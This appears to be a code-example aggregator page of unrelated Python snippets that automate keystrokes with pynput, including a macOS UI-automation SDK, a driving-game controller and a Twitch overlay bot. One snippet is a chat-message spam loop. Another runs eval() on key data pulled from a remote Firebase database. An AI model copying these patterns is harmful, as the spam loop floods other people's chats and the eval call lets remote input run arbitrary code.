Esempio n. 1
0
class Handler(object):
    def __init__(self):
        self.d = Controller()

    def keycode(self, name, is_dead):
        """Resolves a key description to a value that can be passed to
        :meth:`pynput.keyboard.Controller.press` and
        :meth:`~pynput.keyboard.Controller.release`.

        :param str name: The name of the key. This should typically be the
            actual character requested. If it starts with ``'<'`` and ends with
            ``'>'``, the key value is looked up in
            :class:`pynput.keyboard.Key`, otherwise it is passed straight to
            :meth:`pynput.keyboard.Controller.press`.

        :return: a key value
        """
        if is_dead:
            return KeyCode.from_dead(name)
        elif name[0] == '<' and name[-1] == '>':
            return Key[name[1:-1]]
        else:
            return name

    def down(self, name, is_dead=False):
        """Triggers a key down event.

        :param str name: The name of the key. This is passed to
            :meth:`keycode`.

        :param bool is_dead: Whether a dead key press is requested. In that
            case, ``name`` must be a unicode character with a corresponding
            combining codepoint, and the key will be combined with the next
            character typed.
        """
        self.d.press(self.keycode(name, is_dead))

    def up(self, name, is_dead=False):
        """Triggers a key up event.

        :param str name: The name of the key. This is passed to
            :meth:`keycode`.

        :param bool is_dead: Whether a dead key press is requested. In that
            case, ``name`` must be a unicode character with a corresponding
            combining codepoint, and the key will be combined with the next
            character typed.
        """
        self.d.release(self.keycode(name, is_dead))
Esempio n. 2
0
from pynput.keyboard import Key, Controller
import time

keyboard = Controller()

time.sleep(10)
keyboard.press(Key.right)

keyboard.release(Key.right)
Esempio n. 3
0
def keys():
    keyboard = Controller()
    keyboard.press(Key.space)
    keyboard.release(Key.space)
Esempio n. 4
0
class PocoSDKOSX(object):
    def __init__(self, addr=DEFAULT_ADDR):
        self.reactor = None
        self.addr = addr
        self.running = False
        self.root = None
        self.keyboard = Controller()

    def Dump(self, _):
        res = OSXUIDumper(self.root).dumpHierarchy()
        return res

    def SetForeground(self):
        self.root.AXMinimized = False
        self.app.AXFrontmost = True

    def GetSDKVersion(self):
        return '0.0.1'

    def GetDebugProfilingData(self):
        return {}

    def GetScreenSize(self):
        Width = self.root.AXSize[0]
        Height = self.root.AXSize[1]
        return [Width, Height]

    def GetWindowRect(self):
        Width = self.root.AXSize[0]
        Height = self.root.AXSize[1]
        return [
            self.root.AXPosition[0], self.root.AXPosition[1],
            self.root.AXPosition[0] + Width, self.root.AXPosition[1] + Height
        ]

    def KeyEvent(self, keycode):
        waittime = 0.05
        for c in keycode:
            self.keyboard.press(key=c)
            self.keyboard.release(key=c)
            time.sleep(waittime)
        return True

    def Screenshot(self, width):
        self.SetForeground()
        size = self.root.AXSize
        pos = self.root.AXPosition
        pyautogui.screenshot(
            'Screenshot.png',
            (pos[0], pos[1], size[0], size[1])).save('Screenshot.png')
        f = open(r'Screenshot.png', 'rb')
        deflated = zlib.compress(f.read())
        ls_f = base64.b64encode(deflated)
        f.close()
        return [ls_f, "png.deflate"]

        # self.root.ToBitmap().ToFile('Screenshot.bmp')
        # f = open(r'Screenshot.bmp', 'rb')
        # ls_f = base64.b64encode(f.read())
        # f.close()
        # return [ls_f, "bmp"]

    def Click(self, x, y):
        self.SetForeground()
        size = self.root.AXSize
        pos = self.root.AXPosition
        OSXFunc.click(pos[0] + size[0] * x, pos[1] + size[1] * y)
        return True

    def RClick(self, x, y):
        self.SetForeground()
        size = self.root.AXSize
        pos = self.root.AXPosition
        OSXFunc.rclick(pos[0] + size[0] * x, pos[1] + size[1] * y)
        return True

    def DoubleClick(self, x, y):
        self.SetForeground()
        size = self.root.AXSize
        pos = self.root.AXPosition
        OSXFunc.doubleclick(pos[0] + size[0] * x, pos[1] + size[1] * y)
        return True

    def Swipe(self, x1, y1, x2, y2, duration):
        self.SetForeground()
        Left = self.root.AXPosition[0]
        Top = self.root.AXPosition[1]
        Width = self.root.AXSize[0]
        Height = self.root.AXSize[1]
        x1 = Left + Width * x1
        y1 = Top + Height * y1
        x2 = Left + Width * x2
        y2 = Top + Height * y2
        sx = abs(x1 - x2)
        sy = abs(y1 - y2)
        stepx = sx / (duration * 10.0)  # 将滑动距离分割,实现平滑的拖动
        stepy = sy / (duration * 10.0)
        OSXFunc.move(x1, y1)
        OSXFunc.press(x1, y1)
        duration = int(duration * 10.0)
        for i in range(duration + 1):
            OSXFunc.drag(x1 + stepx * i, y1 + stepy * i)
            time.sleep(0.1)
        OSXFunc.release(x2, y2)
        return True

    def LongClick(self, x, y, duration, **kwargs):
        self.SetForeground()

        # poco std暂不支持选择鼠标按键
        button = kwargs.get("button", "left")
        if button not in ("left", "right"):
            raise ValueError("Unknow button: " + button)
        if button is "left":
            button = 1
        else:
            button = 2

        Left = self.root.AXPosition[0]
        Top = self.root.AXPosition[1]
        Width = self.root.AXSize[0]
        Height = self.root.AXSize[1]
        x = Left + Width * x
        y = Top + Height * y
        OSXFunc.move(x, y)
        OSXFunc.press(x, y, button=button)
        time.sleep(duration)
        OSXFunc.release(x, y, button=button)
        return True

    def Scroll(self, direction, percent, duration):
        if direction not in ('vertical', 'horizontal'):
            raise ValueError(
                'Argument `direction` should be one of "vertical" or "horizontal". Got {}'
                .format(repr(direction)))

        x = 0.5  # 先把鼠标移到窗口中间,这样才能保证滚动的是这个窗口。
        y = 0.5
        steps = percent
        Left = self.GetWindowRect()[0]
        Top = self.GetWindowRect()[1]
        Width = self.GetScreenSize()[0]
        Height = self.GetScreenSize()[1]
        x = Left + Width * x
        y = Top + Height * y
        x = int(x)
        y = int(y)
        OSXFunc.move(x, y)

        if direction == 'horizontal':
            interval = float(duration) / (abs(steps) + 1)
            if steps < 0:
                for i in range(0, abs(steps)):
                    time.sleep(interval)
                    OSXFunc.scroll(None, 1)
            else:
                for i in range(0, abs(steps)):
                    time.sleep(interval)
                    OSXFunc.scroll(None, -1)
        else:
            interval = float(duration) / (abs(steps) + 1)
            if steps < 0:
                for i in range(0, abs(steps)):
                    time.sleep(interval)
                    OSXFunc.scroll(1)
            else:
                for i in range(0, abs(steps)):
                    time.sleep(interval)
                    OSXFunc.scroll(-1)
        return True

    def EnumWindows(self, selector):
        names = []  # 一个应用程序会有多个窗口,因此我们要先枚举一个应用程序里的所有窗口
        if 'bundleid' in selector:
            self.app = OSXFunc.getAppRefByBundleId(selector['bundleid'])
            windows = self.app.windows()
            for i, w in enumerate(windows):
                names.append((w.AXTitle, i))
            return names

        if 'appname' in selector:
            self.app = OSXFunc.getAppRefByLocalizedName(selector['appname'])
            windows = self.app.windows()
            for i, w in enumerate(windows):
                names.append((w.AXTitle, i))
            return names

        if 'appname_re' in selector:  # 此方法由于MacOS API,问题较多
            apps = OSXFunc.getRunningApps()  # 获取当前运行的所有应用程序
            appset = []  # 应用程序集合
            appnameset = set()  # 应用程序标题集合
            for t in apps:
                tempapp = OSXFunc.getAppRefByPid(t.processIdentifier())
                if str(tempapp) == str(atomac.AXClasses.NativeUIElement()
                                       ):  # 通过trick判断应用程序是都否为空
                    continue
                attrs = tempapp.getAttributes()
                if 'AXTitle' in attrs:
                    tit = tempapp.AXTitle
                    if re.match(selector['appname_re'], tit):
                        appset.append(tempapp)
                        appnameset.add(
                            tit)  # 这里有Bug,可能会获取到进程的不同副本,所以要通过名字去判断是否唯一

            if len(appnameset) is 0:
                raise InvalidSurfaceException(
                    selector,
                    "Can't find any applications by the given parameter")
            if len(appnameset) != 1:
                raise NonuniqueSurfaceException(selector)
            while len(names) is 0:  # 有可能有多个副本,但只有一个真的应用程序有窗口,所以要枚举去找
                if len(appset) is 0:
                    return names
                self.app = appset.pop()
                windows = self.app.windows()  # 获取当前应用程序的所有窗口
                for i, w in enumerate(windows):
                    names.append((w.AXTitle, i))
            return names
        return names

    def ConnectWindowsByWindowTitle(self, selector, wlist):
        hn = set()
        for n in wlist:
            if selector['windowtitle'] == n[0]:
                hn.add(n[1])  # 添加窗口索引到集合里
        if len(hn) == 0:
            return -1
        return hn

    def ConnectWindowsByWindowTitleRe(self, selector, wlist):
        hn = set()
        for n in wlist:
            if re.match(selector['windowtitle_re'], n[0]):
                hn.add(n[1])  # 添加窗口索引到集合里
        if len(hn) == 0:
            return -1
        return hn

    def ConnectWindow(self, selector):

        # 目前来说,如下处理,以后添加更多的参数后需修改代码逻辑
        argunums = 0
        if 'bundleid' in selector:
            argunums += 1
        if 'appname' in selector:
            argunums += 1
        if 'appname_re' in selector:
            argunums += 1
        if argunums == 0:
            raise ValueError("Expect bundleid or appname, got none")
        elif argunums != 1:
            raise ValueError(
                "Too many arguments, only need bundleid or appname or appname_re"
            )

        winlist = self.EnumWindows(selector)

        handleSetList = []
        if 'windowtitle' in selector:
            handleSetList.append(
                self.ConnectWindowsByWindowTitle(selector, winlist))
        if 'windowindex' in selector:
            handleSetList.append(set([selector['windowindex']]))
        if "windowtitle_re" in selector:
            handleSetList.append(
                self.ConnectWindowsByWindowTitleRe(selector, winlist))

        while -1 in handleSetList:
            handleSetList.remove(-1)  # 有些参数没有提供会返回-1.把所有的-1去掉

        if len(handleSetList) == 0:  # 三种方法都找不到窗口
            raise InvalidSurfaceException(
                selector, "Can't find any applications by the given parameter")

        handleSet = reduce(operator.__and__,
                           handleSetList)  # 提供了多个参数来确定唯一一个窗口,所以要做交集,取得唯一匹配的窗口

        if len(handleSet) == 0:
            raise InvalidSurfaceException(
                selector, "Can't find any applications by the given parameter")
        elif len(handleSet) != 1:
            raise NonuniqueSurfaceException(selector)
        else:
            hn = handleSet.pop()  # 取得该窗口的索引
            w = self.app.windows()
            if len(w) <= hn:
                raise IndexError(
                    "Unable to find the specified window through the index, you may have closed the specified window during the run"
                )
            self.root = self.app.windows()[hn]
            self.SetForeground()
            return True

    def run(self):
        self.reactor = StdRpcReactor()
        self.reactor.register('Dump', self.Dump)
        self.reactor.register('GetSDKVersion', self.GetSDKVersion)
        self.reactor.register('GetDebugProfilingData',
                              self.GetDebugProfilingData)
        self.reactor.register('GetScreenSize', self.GetScreenSize)
        self.reactor.register('Screenshot', self.Screenshot)
        self.reactor.register('Click', self.Click)
        self.reactor.register('Swipe', self.Swipe)
        self.reactor.register('LongClick', self.LongClick)
        self.reactor.register('SetForeground', self.SetForeground)
        self.reactor.register('ConnectWindow', self.ConnectWindow)
        self.reactor.register('Scroll', self.Scroll)
        self.reactor.register('RClick', self.RClick)
        self.reactor.register('DoubleClick', self.DoubleClick)
        self.reactor.register('KeyEvent', self.KeyEvent)
        transport = TcpSocket()
        transport.bind(self.addr)
        self.rpc = StdRpcEndpointController(transport, self.reactor)
        if self.running is False:
            self.running = True
            self.rpc.serve_forever()
Esempio n. 5
0
# Clear console
clear()

# Asking for input, how many messages to send
message_count = int(input("Please input amount of messages to send: "))
while isinstance(message_count, int) != True:
    print("ERROR: Make sure you are inputting a valid number.")
    message_count = input("Please input amount of messages to send: ")

# Grace period
while time_count > 0:
    print("Bombarding ", message, " in ", time_count, " seconds...", end="\r")
    time.sleep(1)
    time_count -= 1

# Clear console
clear()

# Main loop
count = 0
while message_count > count:        
    for char in message:
        keyboard.press(char)
        keyboard.release(char)
    keyboard.press(Key.enter)
    keyboard.release(Key.enter)
    count += 1
    print("Sent ", count, " messages", end="\r")
    
print("Sent ", count, " messages.")
print("Done!")
Esempio n. 6
0
### Declaring variables:
# for handling of tabs in chrome:
all_windows = []
windows_names_dict = {}
# to handle google pop-ups:
i_agree = False
no_thanks = False
# to control volume:
pc_volume = 50
# to control keyboard:
keyboard = Controller()

### Main function:
if __name__ == '__main__':
    for i in range(50):
        keyboard.press(Key.media_volume_down)
        keyboard.release(Key.media_volume_down)
    for i in range(25):
        keyboard.press(Key.media_volume_up)
        keyboard.release(Key.media_volume_up)
    playsound("Audio//Boot_soundclip.mp3")
    jw_fn.wishMe()
    while True:
        ### Loop routines before taking command:
        # to adjust mic:
        if jw_fn.process_exists('chrome.exe') == True:
            if 'youtube' in list(windows_names_dict.keys()):
                pass
                jw_fn.adjustmic()

        # to give command to John:
Esempio n. 7
0
from pynput.keyboard import Key, Controller
keyboard = Controller()
#keyboard.press('a')
#keyboard.release('a')
keyboard.press(Key.cmd)
keyboard.release(Key.cmd)
minute automatically.

The destination folder must be manually set in クロスワード ギバー before
running this module.
"""

import time

from pynput.keyboard import Controller, Key

keyboard = Controller()

time.sleep(5)

for i in range(1, 101):  # Filename will be i.xwj
    keyboard.press(Key.ctrl_l)
    time.sleep(0.1)
    keyboard.press('g')
    time.sleep(0.1)
    keyboard.release(Key.ctrl_l)
    keyboard.release('g')
    time.sleep(0.1)
    keyboard.press(Key.enter)
    time.sleep(0.1)
    keyboard.release(Key.enter)
    time.sleep(3)
    keyboard.press('r')
    time.sleep(3)
    keyboard.press('r')
    time.sleep(10)
    keyboard.release('r')
Esempio n. 9
0
        time.sleep(22)
        canCreate = True
        time.sleep(0.01)
        canCreate = False


if __name__ == '__main__':
    oldString = ['d', 'k']
    start_new_thread(ThreadWaiting, ())

    while True:
        if canCreate:
            #win32api.SetCursorPos(pCreate)
            #win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, pCreate[0], pCreate[1], 0, 0)
            #win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, pCreate[0], pCreate[1], 0, 0)
            pyautogui.click(pCreate[0], pCreate[1])
            time.sleep(0.1)
            for item in oldString:
                board.press(item)
                board.release(item)
            board.press(Key.tab)
            board.release(Key.tab)
            time.sleep(0.1)
            board.press('a')
            board.release('a')
            board.press(Key.enter)
            board.release(Key.enter)
            oldString = getName(oldString)
            canCreate = False
        if keyboard.is_pressed('q'):
            exit(1)
Esempio n. 10
0
                            columns=['state', 'U', 'D', 'R', 'L'])
                        addQTable = addQTable.set_index('state')

                        current_Qstate = pd.Series(
                            {v_old_action_symbol: new_val}, name=v_state)
                        addQTable = addQTable.append(current_Qstate)
                        addQTable = addQTable.fillna(0)
                        QTable = pd.concat([QTable, addQTable])  #
                        #
            ################################################################################################

            #assign new state to state
            state = str(new_state)
            old_action_symbol = action_symbol

            keyb.press(choosen_act)
            keyb.release(choosen_act)

        elif line[0] == 'crash':
            while len(state_list) > 0:
                v = state_list.pop(0)
                v_state = v[0]
                v_old_action_symbol = v[1]
                v_score_diff = v[2]

                # add accumulative score distribution
                score_distribution = sum(
                    three for one, two, three in state_list) / backtrack
                v_score_diff += score_distribution

                #Bellman equation
Esempio n. 11
0
# coding: utf-8

# In[20]:

import sys, time
from firebase import firebase
from pynput.keyboard import Key, Controller

dbase = 'https://database_name.firebaseio.com/'

firebase = firebase.FirebaseApplication(dbase, None)

keyboard = Controller()

counter = firebase.get('/key-press/counter/', '')
while (1):
    counter_up = firebase.get('/key-press/counter/', '')
    if counter != counter_up:
        counter = counter_up
        key_data = firebase.get('/key-press/key_data/', '')
        if key_data == 'Key.esc':
            sys.exit()
        else:
            keyboard.press(eval(key_data))
            keyboard.release(eval(key_data))
    def simulationFunction(self):
        self.set_pos()
        trafficSign = TrafficSign()
        avgOfCams = int((self.h - self.y)/2)
        keyboard = Controller()
        sensor = SecurityProcessing()
        leftSideCamera = LeftSideCamera()
        rightSideCamera = RightSideCamera()
        time.sleep(3)
        while(True):
            self.frameCount += 1
            wholeScreen = ImageGrab.grab((self.x, self.y, self.w, self.h))
            if self.camera == "MainCamera":
                mainCamera = MainCamera(np.array(wholeScreen))
                self.forward, self.left, self.right = mainCamera.capturingFunction()
            elif self.camera == "SideCamera":
                leftLineImg = wholeScreen.crop((0, 0, wholeScreen.size[0] * 0.25, wholeScreen.size[1] * 0.25))
                self.forward, self.left, self.right,self.errorLeft, self.Left_avgY = leftSideCamera.capturingFunction(np.array(leftLineImg))
                #bu verilerle asagıdakiler çakışıyor(rightSideCamera'nın fonksiyonundan atanan degerler, 4 satır aşağısı) o yüzden bunları değişkende tutacagız
                t_forward, t_left, t_right = self.forward, self.left, self.right
                rightLineImg = wholeScreen.crop((wholeScreen.size[0] * 0.75, 0, wholeScreen.size[0], wholeScreen.size[1] * 0.25))
                self.forward, self.left, self.right, self.errorRight, self.Right_avgY = rightSideCamera.capturingFunction(np.array(rightLineImg))
                
                """
                signsImg = wholeScreen.crop((wholeScreen.size[0] * 0.13, wholeScreen.size[1] * 0.29, wholeScreen.size[0] * 0.89, wholeScreen.size[1] * 0.95))
                signsImg = np.array(signsImg)
                points = self.gettingTrafficSignsUICoordinates(signsImg)

                sensorImg = wholeScreen.crop((wholeScreen.size[0] * 0.5, 0, wholeScreen.size[0] * 0.67, wholeScreen.size[1] * 0.24))
                sensorPoints = sensor.processFunc(np.array(sensorImg))
                print(sensorPoints)"""

                if self.errorLeft is False:
                    self.leftLaneCheck[self.frameCount%3] = 1
                    if self.leftLaneCheck[0] == 1 and self.leftLaneCheck[1] == 1 and self.leftLaneCheck[2] == 1:
                        self.leftAllOne = 1
                        if self.leftAllZero != 0:
                            self.missionRightTurn = True
                            self.missionRightTurn_done = True
                            self.leftAllZero = 0
                        else:
                            self.missionRightTurn = False
                else:
                    self.leftLaneCheck[self.frameCount%3] = 0
                    if self.leftLaneCheck[0] == 0 and self.leftLaneCheck[1] == 0 and self.leftLaneCheck[2] == 0:
                        self.leftAllZero = 1
                        if self.leftAllOne != 0:
                            self.missionRightTurn = True
                            self.missionRightTurn_done = True
                            self.leftAllOne = 0
                        else:
                            self.missionRightTurn = False
                if self.errorRight is False:
                    self.rightLaneCheck[self.frameCount%3] = 1
                    if self.rightLaneCheck[0] == 1 and self.rightLaneCheck[1] == 1 and self.rightLaneCheck[2] == 1:
                        self.rightAllOne = 1
                        if self.rightAllZero != 0:
                            self.missionLeftTurn = True
                            self.missionLeftTurn_done = True
                            self.rightAllZero = 0
                        else:
                            self.missionLeftTurn = False
                else:
                    self.rightLaneCheck[self.frameCount%3] = 0
                    if self.rightLaneCheck[0] == 0 and self.rightLaneCheck[1] == 0 and self.rightLaneCheck[2] == 0:
                        self.rightAllZero = 1
                        if self.rightAllOne != 0:
                            self.missionLeftTurn = True
                            self.missionLeftTurn_done = True
                            self.rightAllOne = 0
                        else:
                            self.missionLeftTurn = False

                if self.missionRightTurn == True:
                    print("Left Lane change!!")
                    self.LLC = True
                if self.missionLeftTurn == True:
                    print("Right Lane change!!")
                    self.RLC = True
                
                greenColorRGB = [86,188,106]
                redColorRGB = [255,0,0]
                self.activity = "forward"
                
                """self.controllingTrafficSignStatus(trafficSign, signsImg, points, greenColorRGB, redColorRGB)
                trafficSign.printingAllSigns()"""

                if trafficSign.trafficLightStatus() == -1 or trafficSign.trafficLightStatus() == 1:
                    if self.brake is True:
                        keyboard.release(Key.space)
                        keyboard.press('s')
                        time.sleep(0.2)
                        keyboard.release('s')
                        self.brake = False
                    if trafficSign.trafficLightStatus() == 1:
                        if self.frameCount %4 == 0:
                            print("GREEN LIGHT!")
                    if self.brakeForStop_inArea == True and (trafficSign.passengerInStatus() == 1 or trafficSign.passengerOutStatus() == 1):
                        print("STOP!")
                        self.brakeForStop = True
                        self.activity = "Stop"
                    if self.brakeForDur_inArea == True and trafficSign.stopStatus() == 1:
                        print("Dur!")
                        self.brakeForDur = True
                        self.activity = "Dur"
                    if self.brakeForStop == False and self.brakeForDur is False:
                        if trafficSign.notLeftStatus() == 0 and trafficSign.notRightStatus() == 0:
                            if self.errorLeft is True and self.errorRight is True:
                                self.activity = "None"
                            elif self.errorLeft is True and self.errorRight is False:
                                self.activity = "Right"
                            elif self.errorLeft is False and self.errorRight is True:
                                self.forward, self.left, self.right = t_forward, t_left, t_right
                                self.activity = "Left"
                            elif self.errorLeft is False and self.errorRight is False:
                                if abs(avgOfCams - self.Left_avgY) <=  abs(avgOfCams - self.Right_avgY):
                                    self.forward, self.left, self.right = t_forward, t_left, t_right
                                    self.activity = "Left"
                                else:
                                    self.activity = "Right"
                        else:
                            if  trafficSign.notLeftStatus() == 1 and trafficSign.notRightStatus() == 0:
                                if self.frameCount %4 == 0:
                                    print("LEFT TURN FORBIDDEN")
                                if self.errorRight is False:
                                    self.activity = "Right"
                                    if (abs(abs(avgOfCams - self.Left_avgY) - abs(avgOfCams - self.Right_avgY)) <= 20 ) and self.missionRightTurn_done is True:
                                        print("Turning Right Done!")
                                        self.missionRightTurn_done = False
                                        trafficSign.trafficSignArray[0] = 0
                                else:
                                    self.activity = "None"
                            elif trafficSign.notRightStatus() == 1 and trafficSign.notLeftStatus() == 0:
                                if self.frameCount %4 == 0:
                                    print("RIGHT TURN FORBIDDEN")
                                if self.errorLeft is False:
                                    self.forward, self.left, self.right = t_forward, t_left, t_right
                                    self.activity = "Left"
                                    if (abs(abs(avgOfCams - self.Left_avgY) - abs(avgOfCams - self.Right_avgY)) <= 20 ) and self.missionLeftTurn_done is True:
                                        print("Turning Left Done!")
                                        self.missionLeftTurn_done = False
                                        trafficSign.trafficSignArray[1] = 0
                                else:
                                    self.activity = "None"
                            elif trafficSign.notRightStatus() == 1 and trafficSign.notLeftStatus() == 1:
                                #SIKINTILI İŞ SENSÖRLE OLMALI
                                if self.frameCount %4 == 0:
                                    print("LEFT AND RIGHT TURN FORBIDDEN")
                                if (abs(abs(avgOfCams - self.Left_avgY) - abs(avgOfCams - self.Right_avgY)) <= 15 ) and self.found_best is False:
                                    self.found_best = True
                                if self.found_best is True:
                                    self.left = False
                                    self.right = False
                                    self.forward = True
                                    self.activity = "forward"
                                    if (self.RLC is True) and (self.LLC is True):
                                        if self.errorLeft is False or self.errorRight is False:
                                            if abs(avgOfCams - self.Left_avgY) <= 20 or abs(avgOfCams - self.Right_avgY) <=20:
                                                print("Way Found Back!")
                                                trafficSign.trafficSignArray[1] = 0 
                                                trafficSign.trafficSignArray[0] = 0
                                                self.found_best = False
                                                self.LLC = False
                                                self.RLC = False
                                        
                elif trafficSign.trafficLightStatus() == 0 or trafficSign.trafficLightStatus() == 1:
                    if trafficSign.trafficLightStatus() == 1:
                        if self.frameCount %4 == 0:
                            print("RED LIGHT!")
                    else:
                        if self.frameCount %4 == 0:
                            print("YELLOW LIGHT!")
                    #freezing işlemi gelecek buraya
                    self.activity = "Brake"
                    self.brake = True
                



            if self.camera is "MainCamera":
                self.throttleActive(keyboard)
                if self.left == True:
                    self.turnLeft(keyboard)
                if self.right == True:
                    self.turnRight
                if self.forward == True:
                    self.goForward(keyboard)
            elif self.camera is "SideCamera":
                if self.activity is "None":
                    self.noAction(keyboard)
                elif self.activity is "Brake":
                    self.braking(keyboard)
                elif self.activity is "Stop":
                    self.stopping(keyboard)
                elif self.activity is "Dur":
                   self.dur(keyboard)
                else:
                    self.throttleActive(keyboard)
                    if self.left == True:
                        self.turnLeft(keyboard)
                    if self.right == True:
                        self.turnRight(keyboard)
                    if self.forward == True:
                        self.goForward(keyboard)
                #self.throttlePassive(keyboard)
            
            #keyboard.release('p')

            if cv2.waitKey(1) & 0xFF == ord('q'):
                break
        cv2.destroyAllWindows()
        self.throttlePassive(keyboard)
Esempio n. 13
0
class Woofer:
    def __init__(self, settings, overlay, nanoleaf, hue, yeelight, chatbot):
        self.settings = settings
        self.overlay = overlay
        self.nanoleaf = nanoleaf
        self.hue = hue
        self.yeelight = yeelight
        self.chatbot = chatbot

        self.keyboard = Controller()

        self.queue = []
        self.greetedUsers = []
        self.greetedUsers.append(self.settings.TwitchChannel)
        self.greetedUsers.append(self.settings.TwitchChannel + "bot")

        self.lurkingUsers = []
        self.unlurkingUsers = []
        self.hostingUsers = []
        self.shoutoutUsers = []
        self.commandsViewerOnce = {}
        self.commandsViewerTimeout = {}
        self.commandsGlobalTimeout = {}

        self.changedLightsNanoleaf = ""
        self.changedLightsHue = {}
        self.changedLightsYeelight = {}

        # Start timer for ScheduledMessages
        timer = Timer(300, self.woofer_timers)
        timer.daemon = True
        timer.start()

    # ---------------------------
    #   process_json
    # ---------------------------
    def process_json(self, json_data):
        #
        # Commands
        #
        if json_data["custom-tag"] == "command":
            # Shoutout
            if json_data["command"] in ["!so", "!shoutout"]:
                self.woofer_shoutout(json_data)

            # Lurk
            elif json_data["command"] == "!lurk":
                self.woofer_lurk(json_data)

            # Unlurk
            elif json_data["command"] in ["!unlurk", "!back"]:
                self.woofer_unlurk(json_data)

            # Custom commands
            elif json_data["command"] in self.settings.Commands:
                self.woofer_commands(json_data)

            # Search command aliases
            else:
                for action in self.settings.Commands:
                    if json_data["command"] in self.settings.Commands[action][
                            "Aliases"]:
                        json_data["command"] = action
                        self.woofer_commands(json_data)

        #
        # Messages
        #
        elif json_data["custom-tag"] == "message":
            common_bots = set(self.settings.commonBots)
            custom_bots = set(self.settings.Bots)

            # MinLines increase for timers
            self.settings.scheduleLines += 1

            # Alerts from chatbots
            if json_data["sender"] in common_bots or json_data[
                    "sender"] in custom_bots:
                # Follow
                if json_data["message"].find(self.settings.FollowMessage) > 0:
                    line = json_data["message"].split(" ")
                    json_data["display-name"] = line[0].rstrip(",")
                    json_data["custom-tag"] = "follow"
                    self.woofer_alert(json_data)

                return

            # Greeting
            if json_data["sender"] not in common_bots and json_data[
                    "sender"] not in custom_bots:
                self.woofer_greet(json_data)

            # Channel points default
            elif json_data["msg-id"] == "highlighted-message":
                print(
                    "Channel points, claimed reward: Redeemed Highlight My Message"
                )

            # Channel points custom w/message
            elif json_data["custom-reward-id"]:
                print("Channel points, claimed custom reward: {}".format(
                    json_data["custom-reward-id"]))

            # Bits
            elif int(json_data["bits"]) > 0 and int(
                    json_data["bits"]) >= self.settings.MinBits:
                json_data["custom-tag"] = "bits"
                self.woofer_alert(json_data)

        #
        # Standard alerts
        #
        elif json_data["custom-tag"] in \
                ["new_chatter", "raid", "host", "autohost", "sub", "resub", "subgift", "anonsubgift"]:
            self.woofer_alert(json_data)

    # ---------------------------
    #   woofer_queue
    # ---------------------------
    def woofer_queue(self, queue_id, json_data):
        #
        # Check if there is somethign in queue
        #
        if not self.queue:
            return

        #
        # Check if overlay is connected
        #
        if self.overlay.active < 1:
            print("waiting for overlay")
            timer = Timer(3, self.woofer_queue, args=(queue_id, json_data))
            timer.daemon = True
            timer.start()
            return

        #
        # Check if our turn in queue
        #
        if self.queue[0] != queue_id:
            timer = Timer(0.5, self.woofer_queue, args=(queue_id, json_data))
            timer.daemon = True
            timer.start()
            return

        #
        # Send to overlay, retry later if overlay buffer is full
        #
        if self.overlay.send("EVENT_WOOFERBOT", json_data) == 1:
            timer = Timer(1, self.woofer_queue, args=(queue_id, json_data))
            timer.daemon = True
            timer.start()
            return

        #
        # Execute custom scripts
        #
        if "script" in json_data and json_data["script"] != "":
            system("\"{}\"".format(json_data["script"]))

        #
        # Execute hotkey
        #
        if "hotkey" in json_data and json_data["hotkey"] != "":
            for key in json_data["hotkey"]:
                if key in KEYLIST:
                    try:
                        self.keyboard.press(KEYLIST[key])
                    except:
                        print("Invalid hotkey in {}".format(json_data["id"]))
                else:
                    try:
                        self.keyboard.press(key)
                    except:
                        print("Invalid hotkey in {}".format(json_data["id"]))

            sleep(0.05)

            for key in reversed(json_data["hotkey"]):
                if key in KEYLIST:
                    try:
                        self.keyboard.release(KEYLIST[key])
                    except:
                        print("Invalid hotkey in {}".format(json_data["id"]))
                else:
                    try:
                        self.keyboard.release(key)
                    except:
                        print("Invalid hotkey in {}".format(json_data["id"]))

        #
        # Turn on Nanoleaf
        #
        if "nanoleaf" in json_data and json_data["nanoleaf"] != "":
            self.nanoleaf.scene(json_data["nanoleaf"])
            if "nanoleafpersistent" in json_data and json_data[
                    "nanoleafpersistent"]:
                self.changedLightsNanoleaf = json_data["nanoleaf"]

        #
        # Turn on Hue
        #
        if "hue" in json_data:
            for device in json_data["hue"]:
                pose_light = json_data["hue"][device]
                if "Brightness" in pose_light and \
                        pose_light["Brightness"] >= 1 and \
                        "Color" in pose_light and \
                        6 <= len(pose_light["Color"]) <= 7:
                    self.hue.state(device=device,
                                   bri=pose_light["Brightness"],
                                   col=pose_light["Color"])

            if "huepersistent" in json_data and json_data["huepersistent"]:
                self.changedLightsHue = json_data["hue"]

        #
        # Turn on Yeelight
        #
        if "yeelight" in json_data:
            for device in json_data["yeelight"]:
                pose_light = json_data["yeelight"][device]
                if "Brightness" in pose_light and \
                        pose_light["Brightness"] >= 1 and \
                        "Color" in pose_light and \
                        6 <= len(pose_light["Color"]) <= 7:
                    self.yeelight.state(
                        device=device,
                        brightness=pose_light["Brightness"],
                        color=pose_light["Color"],
                        transition=pose_light["Transition"],
                        transitionTime=pose_light["TransitionTime"])

            if "yeelightpersistent" in json_data and json_data[
                    "yeelightpersistent"]:
                self.changedLightsYeelight = json_data["yeelight"]

        #
        # Reset to default after X seconds
        #
        timer = Timer(json_data["time"] / 1000,
                      self.woofer_queue_default,
                      args=(queue_id, json_data))
        timer.daemon = True
        timer.start()

    # ---------------------------
    #   woofer_queue_default
    # ---------------------------
    def woofer_queue_default(self, queue_id, old_json_data):
        #
        # Set default Idle image
        #
        mascot_idle_image = self.settings.mascotImages["Idle"]["Image"]
        if not path.isfile(mascot_idle_image):
            mascot_idle_image = ""

        #
        # Check mapping for custom Idle image
        #
        if "Idle" in self.settings.PoseMapping and \
                "Image" in self.settings.PoseMapping["Idle"] and \
                self.settings.PoseMapping["Idle"]["Image"] in self.settings.mascotImages:
            tmp = self.settings.mascotImages[self.settings.PoseMapping["Idle"]
                                             ["Image"]]["Image"]
            if path.isfile(tmp):
                mascot_idle_image = tmp

        #
        # Send to overlay, retry later if overlay buffer is full
        #
        json_data = {"mascot": mascot_idle_image}
        if self.overlay.send("EVENT_WOOFERBOT", json_data) == 1:
            timer = Timer(1,
                          self.woofer_queue_default,
                          args=(queue_id, old_json_data))
            timer.daemon = True
            timer.start()
            return

        #
        # Reset Nanoleaf to Idle
        #
        if "nanoleaf" in old_json_data and old_json_data["nanoleaf"]:
            # Reset to persistent lights
            if self.changedLightsNanoleaf:
                self.nanoleaf.scene(self.changedLightsNanoleaf)
            # Reset to Idle lights
            elif "Idle" in self.settings.PoseMapping and "Nanoleaf" in self.settings.PoseMapping[
                    "Idle"]:
                self.nanoleaf.scene(
